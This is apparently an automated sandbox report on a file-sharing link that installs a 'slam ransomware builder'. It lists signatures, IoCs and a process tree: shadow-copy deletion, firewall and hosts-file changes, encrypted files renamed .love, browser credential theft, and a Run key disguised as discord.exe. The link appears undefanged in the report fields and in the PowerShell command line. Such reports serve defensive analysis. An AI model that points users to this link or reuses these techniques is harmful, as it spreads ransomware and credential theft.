hxxp://we[.]tl/t-njAnKAfxKd

Resubmissions

29/10/2022, 11:00

221029-m3y6bsdbc7 8

29/10/2022, 10:57

29/10/2022, 10:23

29/10/2022, 08:32

29/10/2022, 08:07

Analysis

max time kernel
768s
max time network
545s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
29/10/2022, 08:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://we.tl/t-njAnKAfxKd

Score

9^/10

evasion persistence ransomware spyware stealer

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Disables Task Manager via registry modification
evasion
Downloads MZ/PE file

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	test.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	test.exe

Executes dropped EXE 9 IoCs

pid	Process
5692	slam ransomware builder installer.exe
1676	start.exe
3612	slam.exe
3720	MSBuild.exe
2068	MSBuild.exe
4880	test.exe
5964	test1.exe
5664	MSBuild.exe
5340	test.exe

Modifies Windows Firewall 1 TTPs 15 IoCs

evasion

Modify Existing Service

T1031

pid	Process
4152	netsh.exe
3012	netsh.exe
3948	netsh.exe
1380	netsh.exe
5160	netsh.exe
5312	netsh.exe
3388	netsh.exe
2040	netsh.exe
460	netsh.exe
2348	netsh.exe
1008	netsh.exe
5636	netsh.exe
2620	netsh.exe
6032	netsh.exe
4584	netsh.exe

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File created	C:\Users\Admin\Pictures\ExpandLimit.tif.love	test.exe
File created	C:\Users\Admin\Pictures\GetCompress.raw.love	test.exe
File created	C:\Users\Admin\Pictures\ImportSet.crw.love	test.exe
File created	C:\Users\Admin\Pictures\MountSelect.tif.love	test.exe
File created	C:\Users\Admin\Pictures\PingBackup.tiff.love	test.exe
File created	C:\Users\Admin\Pictures\ResolveOptimize.tif.love	test.exe
File created	C:\Users\Admin\Pictures\SubmitCheckpoint.png.love	test.exe
File created	C:\Users\Admin\Pictures\PingBackup.tiff	test1.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	slam ransomware builder installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	start.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	test.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	test1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	test.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	slam.exe

Loads dropped DLL 10 IoCs

pid	Process
3612	slam.exe
3612	slam.exe
3612	slam.exe
3612	slam.exe
3720	MSBuild.exe
3720	MSBuild.exe
2068	MSBuild.exe
2068	MSBuild.exe
5664	MSBuild.exe
5664	MSBuild.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\discord = "C:\\Users\\Admin\\AppData\\Local\\discord.exe"	test.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\discord = "C:\\Users\\Admin\\AppData\\Local\\discord.exe"	test.exe

Drops desktop.ini file(s) 10 IoCs

description	ioc	Process
File created	C:\Users\Admin\OneDrive\desktop.ini	test1.exe
File created	C:\Users\Admin\Desktop\desktop.ini	test1.exe
File created	C:\Users\Admin\Downloads\desktop.ini	test1.exe
File created	C:\Users\Admin\Documents\desktop.ini	test1.exe
File created	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	test1.exe
File created	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	test1.exe
File created	C:\Users\Admin\Pictures\desktop.ini	test1.exe
File created	C:\Users\Admin\Music\desktop.ini	test1.exe
File created	C:\Users\Admin\Videos\desktop.ini	test1.exe
File created	C:\Users\Admin\3D Objects\desktop.ini	test1.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\1f48f426-475d-455b-8600-7b1dab8c47a6.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20221029100854.pma	setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Kills process with taskkill 64 IoCs

evasion

pid	Process
4496	taskkill.exe
1908	taskkill.exe
4184	taskkill.exe
6052	taskkill.exe
2664	taskkill.exe
2100	taskkill.exe
5032	taskkill.exe
5604	taskkill.exe
5356	taskkill.exe
2088	taskkill.exe
1284	taskkill.exe
5344	taskkill.exe
5548	taskkill.exe
180	taskkill.exe
716	taskkill.exe
5184	taskkill.exe
5568	taskkill.exe
5920	taskkill.exe
4204	taskkill.exe
5000	taskkill.exe
5352	taskkill.exe
6056	taskkill.exe
2524	taskkill.exe
1504	taskkill.exe
6036	taskkill.exe
5028	taskkill.exe
2384	taskkill.exe
2528	taskkill.exe
3844	taskkill.exe
5428	taskkill.exe
4120	taskkill.exe
2328	taskkill.exe
5780	taskkill.exe
5136	taskkill.exe
5588	taskkill.exe
5448	taskkill.exe
1908	taskkill.exe
6024	taskkill.exe
520	taskkill.exe
6116	taskkill.exe
2032	taskkill.exe
3588	taskkill.exe
680	taskkill.exe
5212	taskkill.exe
2256	taskkill.exe
5132	taskkill.exe
6076	taskkill.exe
1824	taskkill.exe
5040	taskkill.exe
4644	taskkill.exe
956	taskkill.exe
5548	taskkill.exe
596	taskkill.exe
5576	taskkill.exe
3448	taskkill.exe
920	taskkill.exe
1552	taskkill.exe
4216	taskkill.exe
3700	taskkill.exe
5148	taskkill.exe
5384	taskkill.exe
256	taskkill.exe
4956	taskkill.exe
1672	taskkill.exe

Modifies registry class 43 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings	slam.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	slam.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	slam.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	slam.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	slam.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0000000001000000ffffffff	slam.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	slam.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	slam.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	slam.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	slam.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\NodeSlot = "1"	slam.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	slam.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	slam.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	slam.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings	test.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	slam.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	slam.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	slam.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	slam.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	slam.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	slam.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	slam.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 78003100000000005d5586511000534c414d5f527e310000600009000400efbe5d554a515d5589512e0000009be501000000050000000000000000000000000000009722200073006c0061006d005f00720061006e0073006f006d0077006100720065005f006200750069006c00640065007200000018000000	slam.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	slam.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	slam.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	slam.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings	test.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202	slam.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	slam.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	slam.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 19002f433a5c000000000000000000000000000000000000000000	slam.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	slam.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = ffffffff	slam.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	slam.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	slam.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg	slam.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	slam.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	slam.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	slam.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	slam.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 000000000200000001000000ffffffff	slam.exe

Modifies registry key 1 TTPs 6 IoCs

Modify Registry

T1112

pid	Process
5056	reg.exe
740	reg.exe
4744	reg.exe
4412	reg.exe
3140	reg.exe
5248	reg.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 294649.crdownload:SmartScreen	msedge.exe

Opens file in notepad (likely ransom note) 2 IoCs

ransomware

pid	Process
2784	NOTEPAD.EXE
4472	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4844	powershell.exe
4844	powershell.exe
4272	msedge.exe
4272	msedge.exe
2248	msedge.exe
2248	msedge.exe
5200	identity_helper.exe
5200	identity_helper.exe
5620	msedge.exe
5620	msedge.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe
5692	slam ransomware builder installer.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeDebugPrivilege	5692	slam ransomware builder installer.exe
Token: SeDebugPrivilege	6024	taskkill.exe
Token: SeDebugPrivilege	4880	test.exe
Token: SeDebugPrivilege	6056	taskkill.exe
Token: SeDebugPrivilege	2384	taskkill.exe
Token: SeDebugPrivilege	2528	taskkill.exe
Token: SeDebugPrivilege	5148	taskkill.exe
Token: SeDebugPrivilege	520	taskkill.exe
Token: SeDebugPrivilege	956	taskkill.exe
Token: SeDebugPrivilege	2328	taskkill.exe
Token: SeDebugPrivilege	5548	taskkill.exe
Token: SeDebugPrivilege	5780	taskkill.exe
Token: SeDebugPrivilege	5136	taskkill.exe
Token: SeDebugPrivilege	2524	taskkill.exe
Token: SeDebugPrivilege	5568	taskkill.exe
Token: SeDebugPrivilege	2256	taskkill.exe
Token: SeDebugPrivilege	5132	taskkill.exe
Token: SeDebugPrivilege	5524	taskkill.exe
Token: SeDebugPrivilege	4816	taskkill.exe
Token: SeDebugPrivilege	3772	taskkill.exe
Token: SeDebugPrivilege	2456	taskkill.exe
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeDebugPrivilege	5588	taskkill.exe
Token: SeDebugPrivilege	5384	taskkill.exe
Token: SeDebugPrivilege	3844	taskkill.exe
Token: SeDebugPrivilege	5032	taskkill.exe
Token: SeDebugPrivilege	1936	taskkill.exe
Token: SeDebugPrivilege	5448	taskkill.exe
Token: SeDebugPrivilege	2032	taskkill.exe
Token: SeDebugPrivilege	5604	taskkill.exe
Token: SeDebugPrivilege	5576	taskkill.exe
Token: SeDebugPrivilege	4496	taskkill.exe
Token: SeDebugPrivilege	5072	taskkill.exe
Token: SeDebugPrivilege	5920	taskkill.exe
Token: SeDebugPrivilege	3448	taskkill.exe
Token: SeDebugPrivilege	5344	taskkill.exe
Token: SeDebugPrivilege	3588	taskkill.exe
Token: SeDebugPrivilege	920	taskkill.exe
Token: SeDebugPrivilege	1072	taskkill.exe
Token: SeDebugPrivilege	4884	taskkill.exe
Token: SeDebugPrivilege	5428	taskkill.exe
Token: SeDebugPrivilege	1504	taskkill.exe
Token: SeDebugPrivilege	1908	taskkill.exe
Token: SeDebugPrivilege	2588	taskkill.exe
Token: SeDebugPrivilege	716	taskkill.exe
Token: SeDebugPrivilege	4204	taskkill.exe
Token: SeIncreaseQuotaPrivilege	2624	WMIC.exe
Token: SeSecurityPrivilege	2624	WMIC.exe
Token: SeTakeOwnershipPrivilege	2624	WMIC.exe
Token: SeLoadDriverPrivilege	2624	WMIC.exe
Token: SeSystemProfilePrivilege	2624	WMIC.exe
Token: SeSystemtimePrivilege	2624	WMIC.exe
Token: SeProfSingleProcessPrivilege	2624	WMIC.exe
Token: SeIncBasePriorityPrivilege	2624	WMIC.exe
Token: SeCreatePagefilePrivilege	2624	WMIC.exe
Token: SeBackupPrivilege	2624	WMIC.exe
Token: SeRestorePrivilege	2624	WMIC.exe
Token: SeShutdownPrivilege	2624	WMIC.exe
Token: SeDebugPrivilege	2624	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2624	WMIC.exe
Token: SeRemoteShutdownPrivilege	2624	WMIC.exe
Token: SeUndockPrivilege	2624	WMIC.exe
Token: SeManageVolumePrivilege	2624	WMIC.exe

Suspicious use of FindShellTrayWindow 23 IoCs

pid	Process
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
2248	msedge.exe
4880	test.exe
5340	test.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
4880	test.exe
5340	test.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3612	slam.exe
3612	slam.exe
3612	slam.exe
3612	slam.exe
3612	slam.exe
3612	slam.exe
3612	slam.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2248 wrote to memory of 3308	2248	msedge.exe	83
PID 2248 wrote to memory of 3308	2248	msedge.exe	83
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 1040	2248	msedge.exe	88
PID 2248 wrote to memory of 4272	2248	msedge.exe	89
PID 2248 wrote to memory of 4272	2248	msedge.exe	89
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90
PID 2248 wrote to memory of 2388	2248	msedge.exe	90

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell start shell:Appsfolder\Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge http://we.tl/t-njAnKAfxKd
1⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4844

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-redirect=Windows.Launch http://we.tl/t-njAnKAfxKd
1⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2248
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fffe21646f8,0x7fffe2164708,0x7fffe2164718
  2⤵
  PID:3308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2140 /prefetch:2
  2⤵
  PID:1040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
